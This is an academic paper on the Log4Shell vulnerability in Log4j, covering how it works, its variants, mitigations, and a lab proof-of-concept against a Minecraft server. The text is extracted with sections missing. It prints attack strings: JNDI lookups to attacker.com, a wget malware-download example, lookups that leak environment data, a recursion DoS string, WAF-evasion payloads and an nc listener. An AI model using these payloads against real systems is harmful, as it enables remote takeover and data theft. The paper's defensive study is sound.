Log4Shell in Practice Understanding The Log4j Vulnerability PDF
Log4Shell in Practice Understanding The Log4j Vulnerability PDF
1. Introduction
According to [AMR 2021], during the year of 2021 around 15% of all Internet user com-
puters around the world experienced at least one Information Security incident. With
the increasing number of devices connected to the Internet and the worldwide neces-
sity for software, new vulnerabilities that affect deployed systems are introduced. In the
past, vulnerabilities such as Heartbleed1 disrupted the operations of systems worldwide
[Hiesgen et al. 2022].
A software vulnerability can be described as a security flaw found in software code
that could be exploited by a threat actor, creating a threat source for a computer system
[NIST 2022]. One of the most recent vulnerabilities found is the Log4Shell vulnerability,
disclosed on December 10, 2021 [MITRE 2021a]. It is an easy-to-exploit vulnerability
found in the popular Log4j2 library.
Log4Shell has been considered one of the most critical vulnerabilities in recent
years due to several reasons. It allowed for RCE, Information Disclosure and Denial
of Services (DoS) attacks [MITRE 2021a, MITRE 2021d]. Apart from that, it received
a Common Vulnerability Scoring System (CVSS) severity rating of a maximum 10.0
[NIST 2021a]. Moreover, the only requirement to exploit this vulnerability is through a
specially crafted string logged by a vulnerable application.
Given the significance of this vulnerability and the impacts it has caused around
the world, this paper aims to introduce and detail how the Log4Shell vulnerability works,
discuss methods used to mitigate it and present some of the impacts it has caused to
the software community worldwide. Furthermore, a POC was developed by deploying
a vulnerable software in a controlled environment to demonstrate how this vulnerability
works in practice.
1
CVE-2014-0160. More details at: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160.
2
Available at: https://logging.apache.org/log4j/2.x/index.html.
Section 2 provides a background regarding the Log4j library and Log4Shell. Sec-
tion 3 presents the methodology used for the POC development, while Section 4 discusses
the results obtained with the POC experiment. Finally, Section 5 provides conclusions.
2. Background
This section presents detailed information about the Log4Shell vulnerability. Section 2.1
describes briefly what logs are and their importance, as well as the Log4j library. Section
2.2 presents Log4Shell, addressing how this vulnerability was discovered, how it works,
and the impacts caused by it.
2.2. Log4Shell
This section is divided into four sections. Section 2.2.1 describes the history of Log4Shell.
Section 2.2.2 details how this vulnerability works. Section 2.2.3 discusses mitigations and
other countermeasures taken into considerations. Finally, Section 2.3 presents the impacts
caused by the Log4j vulnerabilities.
3
Available at: https://apache.org.
4
Maven is the most significant Java package repository. Available at:
https://mvnrepository.com/repos/central.
5
Available at: https://aws.amazon.com/elasticbeanstalk.
2.2.1. History of Log4Shell
The vulnerable application then logs the attacker’s request using a vulnerable
version of Log4j. At logging time, Log4j identifies the special string contained in the
User-Agent header and performs the JNDI Lookup by contacting the LDAP server at
attacker.com and requesting the Evil class. The malicious LDAP server then sends
a response containing the requested Java object. This object contains shell commands,
such as wget http://attack.com/xms, that tells the vulnerable web server to
download a malware from a compromised remote HTTP server and execute it locally.
This example presents every step for an attacker to exploit the RCE vulnerability
found in Log4j and run arbitrary code on a vulnerable application. Aside from that, it
shows how trivial it is to exploit the Log4Shell vulnerability.
Furthermore, as mentioned in Section 2.2.1, the vulnerabilities found in Log4j
also allowed for Information Disclosure and DoS exploits. An Information Disclo-
sure, also known as Information Leakage, vulnerability allows an attacker to compel
a server to unintentionally reveal data. The leaked information may contain sensitive
data, such as credentials, and/or technical data about the system and its infrastructure
[PortSwigger 2022]. On the other hand, a Denial of Service attack consists of render-
ing a computer, or any other device, unavailable to its intended users by interrupting its
functionality [CloudFlare 2022].
Apart from the JNDI Lookup, Log4j provides several others Lookups for enriched
log messages. Some examples are Docker Lookup, Environment Lookup, Java Lookup,
etc. [Apache 2022c]. Java Lookups can be used to retrieve information about the run-
ning Java environment, such as Java’s version, locale, host’s operating system, hardware
details, etc. Another interesting Lookup is the Environment Lookup, it allows Log4j to
fetch system environment variables set either in global files such as /etc/profile, for
Linux-based operating systems, or in the startup scripts for applications [Apache 2022c].
Java Lookups can be done using the java: prefix, as in ${java:version},
which returns the running Java version. Environment Lookups start with the env: pre-
fix, followed by the variable name. For example, ${env:USER} returns the value of a
variable called USER.
If an attacker placed a Java Lookup or an Environment Lookup
string within the JNDI Lookup expression of a Log4Shell exploit, as in
${jnid:ldap://example.com/${java:version}}, it would be evalu-
ated and sent back as part of the JNDI Lookup [Everson et al. 2022]. This way, an
attacker could compel a server to return its hardware information, for instance, using
a Java Lookup, or to return one of its environment variables using the Environment
Lookup. Consequently, causing information to be leaked in the form of an Information
Disclosure attack.
Finally, in CVE-2021-45105 a DoS vulnerability was described regarding one
of the Log4j Lookups, the Context Map Lookup [MITRE 2021d]. This vulnerabil-
ity could cause a DoS attack in the target server by infinite recursion. According
to [Initiative 2021], unlike CVE-2021-45046 and CVE-2021-44832, CVE-2021-45105
should not be considered a variant of Log4Shell (CVE-2021-44228) as it does not allow
for RCE, nor uses JNDI Lookups. However, it abuses a similar attack vector.
This vulnerability explores the recursive method substitute() found in
the StrSubstitutor class. When a nested variable references the variable be-
ing replaced, the recursion is called with the same string, which causes infinite re-
cursion, thus, a DoS condition [Initiative 2021]. For instance, if the Pattern Lay-
out contains a Context Lookup of ${ctx.apiversion} and its assigned value is
${${ctx.apiversion}}, the substitute() method will call itself indefinitely,
as demonstrated by [Initiative 2021].
As discussed in this section, Log4Shell is a dangerous vulnerability found in the
Log4j logging framework. Apart from allowing for RCE, Information Disclosure and
DoS (in the case of CVE-2021-45105) attacks, what has made it even more dangerous is
the fact it can be exploited with ease. For instance, anyone regardless of their technical
skills could enter a string (e.g. ${${::-${::-$${::-j}}}}) in a username field and
launch a DoS attack on a vulnerable server.
In cybersecurity, mitigation, and remediation are two concepts that are often used inter-
changeably, though, they have different meanings. Mitigation refers to minimizing the
risks of a threat, but not removing it completely. On the other hand, remediation refers
to utterly eradicating a threat [Kapon 2022]. Remediation, in practice, could be described
as uninstalling a vulnerable component or replacing it with a patched version that is no
longer vulnerable. While, mitigation can be much complicated as it may involve several
measures to lower the risk of the threat [Everson et al. 2022].
In the case of Log4Shell, the remediation can be done by upgrading Log4j to a
non-vulnerable version (e.g. v2.17.1). By doing so, the threat would be eradicated, and
the system would no longer be vulnerable. However, upgrading is not always an option
for some systems. For such cases, mitigation measures were proposed to deal with the
threat.
The initial mitigation proposed for CVE-2021-44228 was to disable the vulnera-
ble feature, Message Lookup Substitution, using an environment variable. For example,
this variable could be set on the shell before loading the Java application by running the
command export LOG4J FORMAT MSG NO LOOKUPS=true. This variable could
also be set system-wide by appending LOG4J FORMAT MSG NO LOOKUPS=true to
the /etc/environment file on Linux-based operating systems. Alternatively, the
feature could be disabled for specific invocations of the JVM (Java Virtual Machine)
by adding the command-line flag -Dlog4j2.formatMsgNoLookups=True when
running the Java application. This method is only appliable for Log4j v2.10.0 and later
versions [Menashe et al. 2021].
The initial proposed solution was also adopted by the version v2.15.0 of Log4j,
which disabled Message Lookup Substitution by default [MITRE 2021a]. However, this
solution was proved insufficient in CVE-2021-45046 for non-default configurations of
Log4j. Although the proposed solution could be bypassed for non-default configuration,
the conditions for it to happen were very unlikely [Menashe et al. 2021]. Most impor-
tantly, it worked for all default configurations of Log4j [Miessler 2021].
Another proposed method, appliable for all v2.x versions of Log4j, was to re-
move the JndiLookup class from log4j-core. Once the vulnerable class was
removed, the Log4Shell vulnerability would be completely mitigated. Although this
method was sufficient to completely mitigate the threat, it was recommended as a last
resort [Menashe et al. 2021].
Additionally, another mitigation method that could lower the risk brought by
Log4Shell was to use WAFs (Web Application Firewall). A WAF behaves as a shield
between a web application and the Internet, protecting it from exposure by having
clients passing through the firewall before reaching the server [Cloudflare 2022]. Since
Log4Shell exploits use a special string that is usually passed in user-controlled inputs,
such as HTTP headers and form fields, it could be blocked by WAFs.
In the earliest stages of Log4Shell’s exploitation, simple WAF rules to search
for patterns such as ${jndi:ldap, ${jndi:rmi and ${jndi:dns were effective
to block attack attempts [Graham-Cumming and Martinho 2021]. However, rapidly af-
ter these strings were being blocked, attackers started using evasion techniques to by-
pass WAFs. The evasion techniques observed by [Graham-Cumming and Martinho 2021]
ranged from standard practices to bypasses crafted specifically for the Log4j Lookups
syntax.
The standard evasion techniques consisted of encoding or escaping characters to
obfuscate the obvious exploit string. Using HTML URL Encoding, for instance, the
${ characters could be disguised as %24%7B so that an exploit could be written as
%24%7Bjndi:ldap://attacker.com/A}. Though these techniques could suc-
cessfully obfuscate some of the characters found in the Log4Shell exploit, they are known
evasions. Therefore, any capable WAF could decode these characters and eventually
block the attack attempt [Graham-Cumming and Martinho 2021].
As time passed, attackers started designing new evasion techniques to bypass
WAFs. As observed by [Graham-Cumming and Martinho 2021], attackers were making
use of different Log4j Lookups in order to obfuscate the payload string. These Lookups
included ${date}, ${lower}, ${upper}, ${env}, among others. For example, the
string ${lower:J} is evaluated as j by Log4j. This way, attackers were able to abuse
Log4j features to bypass WAFs and their pattern searching rules by sending payloads such
as ${${lower:j}ndi:${date:’l’}${lower:d}a${lower:p}}, which would
be evaluated and transformed to ${jndi:ldap}.
Besides the sophisticated evasion techniques developed by attackers, WAFs were
still effective as several exploits did not use any evasion techniques or used some standard
one, as shown in Figure 3. Additionally, WAFs could treat any ${ as suspicious and con-
vert it to x{, for example, as proposed by [Graham-Cumming and Martinho 2021]. Al-
though the proposed sanitization was effective against any evasion using Log4j Lookups,
it could impact negatively some systems that may expect the ${ token in their logs
[Levine and Okamoto 2022].
The presented mitigation methods may be used to lower the threat risk caused by
the Log4j vulnerability, or to even eradicate the threat in some cases. Combining these
methods may provide more efficient results regarding Log4Shell. However, upgrading to
a non-vulnerable version of Log4j is the recommended remediation and should be adopted
by all systems when possible.
These numbers reveal why Log4Shell is treated as one of the most critical vulner-
abilities of recent years. Given Log4j’s popularity, Log4Shell spread worldwide rapidly,
challenging security teams to identify vulnerable systems and develop security measures
for them.
3. Methodology
This section presents the methodology for the POC implementation, the software used
and the virtual environment setup. A POC can be seen as a demonstration, a practical
implementation of a concept in order to demonstrate its feasibility. The POC implemented
in this research aims to demonstrate how the Log4Shell concepts discussed in this paper
works in practice.
3.1. Minecraft
Minecraft10 is a sandbox video game developed by Mojang Studios. It was initially writ-
ten in the Java programming language and currently supports Windows, macOS, Android,
iOS, Linux-based operating systems and video game consoles [Minecraft 2022a].
This game allows for both single-player and multiplayer playing modes
[Minecraft 2022b]. While the single-player mode only requires a single machine to run
the game, the multiplayer mode requires Minecraft servers. These servers allow multiple
players to play Minecraft online (via the Internet) or via a Local Area Network (LAN).
Both Minecraft: Java Edition client and Minecraft Server: Java Edition, from
versions from 1.7 to 1.18, were affected by the Log4j vulnerability [Minecraft 2022c].
With that being said, and considering Minecraft’s popularity, the game was chosen to
demonstrate how the Log4Shell vulnerability works in practice.
In order to receive the connection from the target machine, the attacker must open
the port 6065 on their machine. Figure 7 presents how the attackers opens port 6065
using the nc -lvp 6065 command. It is possible to notice that the attacker’s machine
received a connection from IP address 10.0.0.198 (target machine).
This experiment demonstrates how an attacker could exploit the RCE vulnerability
found in the Log4j utility. RCE vulnerabilities were disclosed in Log4j by CVE-2021-
44228, CVE-45046 and CVE-2021-44832. Apart from demonstrating how an exploit
works in practice, it also shows that this vulnerability can be exploited with ease.
Figure 9 shows information leaked with the Java Lookups used in the first payload.
These values were sent to the attacker-controlled LDAP server as part of the JNDI request.
In this example, it is possible to notice relevant data such as operating system version and
hardware details that were leaked by the victim.
In Figure 10 the leaked values of environment variables are shown. This experi-
ment used default Linux variables, such as USER and PATH, for demonstration. However,
using the Environment Lookup, it is possible to leak the value of any variable available to
the vulnerable application.
Figure 11. Log4j Lookups logged as plain text after disabling Lookups.
Another mitigation discussed in Section 2.2.3 and tested in this POC was remov-
ing the JndiLookup class. This mitigation is appliable to Log4j2 version below v2.16.0
[Apache 2022a]. However, for this POC case, removing the vulnerable class was unsuc-
cessful. The Minecraft Server application used in this POC contains a module that verifies
the integrity of dependencies before executing. In case a modification is done to any of
its dependencies, the dependencies are redownloaded from Maven Central Repository.
Therefore, modifying the application is not possible.
5. Conclusions
This paper conducts a study about the Log4Shell vulnerability, presents the events that
followed its disclosure on December 10, 2021, as well as details how this vulnerability
works and discusses some of the developed mitigation methods and its impacts. Further-
more, this work provides a demonstration of the Log4Shell vulnerability in practice by
deploying a vulnerable Minecraft Server on a controlled environment and exploiting it
through the Minecraft client’s chat.
The presented POC demonstrated that Log4Shell can be exploited with ease, in-
jecting a specially crafted string into the chat might allow a threat actor to take control
over a vulnerable server. To add on, the fact that Log4j is one of the most used Java
artifacts worldwide, is what made Log4Shell as critical as it was.
One of the lessons learned with the Log4Shell vulnerability is that software de-
velopers should rethink how to approach cybersecurity in software development. Log4j2
17
This configuration is available at: https://launcher.mojang.com/v1/objects/02937d122c86ce73319ef
9975b58896fc1b491d1/log4j2 112-116.xml.
has been around since 2015 and all of its versions were vulnerable, for years. Develop-
ing software with security is mind is fundamental to avoid another threat as critical as
Log4Shell.
References
AMR (2021). Kaspersky Security Bulletin 2021. Statistics. Available at:
https://securelist.com/kaspersky-security-bulletin-2021-statistics/105205. Access
date: September 27, 2022.
Apache (2013). JNDI Lookup plugin support Export. Available at:
https://issues.apache.org/jira/browse/LOG4J2-313. Access date: August 28, 2022.
Apache (2022a). Apache Log4j Security Vulnerabilities. Available at:
https://logging.apache.org/log4j/2.x/security.html. Access date: August 28, 2022.
Apache (2022b). Changes. Available at: https://logging.apache.org/log4j/2.x/changes-
report.html. Access date: August 30, 2022.
Apache (2022c). Lookups. Available at: https://logging.apache.org/log4j/2.x/manual/lookups.html.
Access date: September 2, 2022.
Brumaghin, E. (2021). Threat Advisory: Critical Apache Log4j
vulnerability being exploited in the wild. Talos. Available at:
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html.
Access date: August 28, 2022.
CloudFlare (2022). What is a denial-of-service attack? Available at:
https://www.cloudflare.com/learning/ddos/glossary/denial-of-service/. Access date:
September 4, 2022.
Cloudflare (2022). What is a WAF? — Web Application Firewall explained. Available
at: https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/.
Access date: September 12, 2022.
Everson, D., Cheng, L., and Zhang, Z. (2022). Log4shell: Redefining the Web Attack
Surface. In NDSS.
Graham-Cumming, J. (2021). Inside the Log4j2 vulnerability (CVE-2021-44228).
The Cloudflare Blog. Available at: https://blog.cloudflare.com/inside-the-log4j2-
vulnerability-cve-2021-44228. Access date: August 28, 2022.
Graham-Cumming, J. and Martinho, C. (2021). Exploitation of Log4j CVE-2021-
44228 before public disclosure and evolution of evasion and exfiltration. The Cloud-
flare Blog. Available at: https://blog.cloudflare.com/exploitation-of-cve-2021-44228-
before-public-disclosure-and-evolution-of-waf-evasion-patterns. Access date: August
28, 2022.
Hiesgen, R., Nawrocki, M., Schmidt, T. C., and Wählisch, M. (2022). The Race to the
Vulnerable: Measuring the Log4j Shell Incident. arXiv preprint arXiv:2205.02544.
Initiative, Z. D. (2021). CVE-2021-45105: Denial of Service via Un-
controlled Recursion in Log4j StrSubstitutor. Zero Day Initiative. Avail-
able at: https://www.zerodayinitiative.com/blog/2021/12/17/cve-2021-45105-denial-
of-service-via-uncontrolled-recursion-in-log4j-strsubstitutor. Access date: September
4, 2022.
Kapon, B. (2022). Remediation vs. mitigation — third-party vulnerability management.
Cyberpion. Available at: https://www.cyberpion.com/blog/remediation-vs-mitigation.
Access date: September 6, 2022.
Levine, J. and Okamoto, S. (2022). Sanitizing Cloudflare Logs to protect cus-
tomers from the Log4j vulnerability. The Cloudflare Blog. Available at:
https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation. Access date: September
12, 2022.
Menashe, S., Peles, O., and Hollander, O. (2021). Log4j Log4Shell 0-Day Vulnerability:
All You Need To Know. JFrog. Available at: https://jfrog.com/blog/log4shell-0-day-
vulnerability-all-you-need-to-know. Access date: September 2, 2022.
Miessler, D. (2021). The Subsequent Waves of log4j Vulnerabilities Aren’t as Bad
as People Think. Available at: https://danielmiessler.com/blog/the-second-wave-of-
log4j-vulnerabilities-werent-nearly-as-bad-as-people-think. Access date: September
7, 2022.
Minecraft (2022a). Get Minecraft. Available at: https://www.minecraft.net/en-us/get-
minecraft. Access date: September 15, 2022.
Minecraft (2022b). How to play minecraft: Java edition multiplayer. Avail-
able at: https://help.minecraft.net/hc/en-us/articles/4410317081741-How-to-Play-
Minecraft-Java-Edition-Multiplayer. Access date: September 17, 2022.
Minecraft (2022c). Important Message: Security vulnerability in Java Edition. Available
at: https://www.minecraft.net/en-us/article/important-message–security-vulnerability-
java-edition. Access date: September 15, 2022.
MITRE (2021a). CVE-2021-44228. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-44228. Access date: August 25, 2022.
MITRE (2021b). CVE-2021-44832. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-44832. Access date: August 30, 2022.
MITRE (2021c). CVE-2021-45046. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-45046. Access date: August 30, 2022.
MITRE (2021d). CVE-2021-45105. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-45105. Access date: August 30, 2022.
NCSC-NL (2022). Log4shell vulnerabilities (CVE-2021-44228, CVE-2021-45046,
CVE-2021-4104, CVE-2021-45105). Available at: https://github.com/NCSC-
NL/log4shell. Access date: August 28, 2022.
NIST (2021a). CVE-2021-44228 Detail. National Vulnerability Database. Available at:
https://nvd.nist.gov/vuln/detail/CVE-2021-44228. Access date: August 28, 2022.
NIST (2021b). CVE-2021-44832 Detail. National Vulnerability Database. Available at:
https://nvd.nist.gov/vuln/detail/CVE-2021-44832. Access date: August 30, 2022.
NIST (2021c). CVE-2021-45046 detail. National Vulnerability Database. Available at:
https://nvd.nist.gov/vuln/detail/CVE-2021-45046. Access date: August 30, 2022.
NIST (2022). Software Vulnerability. Available at:
https://csrc.nist.gov/glossary/term/Software Vulnerability. Access date: Septem-
ber 27, 2022.
Point, C. (2021). The Numbers Behind Log4j Vulnerability CVE-2021-44228.
Available at: https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-
pandemic-detailed-dive. Access date: September 21, 2022.
PortSwigger (2022). Information disclosure vulnerabilities. Available at:
https://portswigger.net/web-security/information-disclosure. Access date: September
4, 2022.
Sabato, S., Yom-Tov, E., Tsherniak, A., and Rosset, S. (2007). Analyzing system logs:
A new view of what’s important. In 2nd USENIX workshop on Tackling Computer
Systems Problems with Machine Learning Techniques.
Silverman, M. (2022). Log4Shell Proof of Concept. Available at:
https://github.com/dogeared/log4shell-poc. Access date: September 17, 2022.
Studiawan, H., Sohel, F., and Payne, C. (2019). A survey on forensic investigation of
operating system logs. Digital Investigation, 29:1–20.
Turunen, I. (2021). Log4shell by the numbers- why did cve-2021-44228 set the internet
on fire? Sonatype. Access date: August 28, 2022.
Wechsler, H. (2021). CVE-2021-44832: A New Medium Severity Vulnerability Was
Found in Log4j. Mend. Available at: https://www.mend.io/resources/blog/log4j-
vulnerability-cve-2021-44832. Access date: August 30, 2022.
Wetter, J. and Ringland, N. (2021). Understanding the Impact of Apache Log4j Vulner-
ability. Available at: https://security.googleblog.com/2021/12/understanding-impact-
of-apache-log4j.html. Access date: September 19, 2022.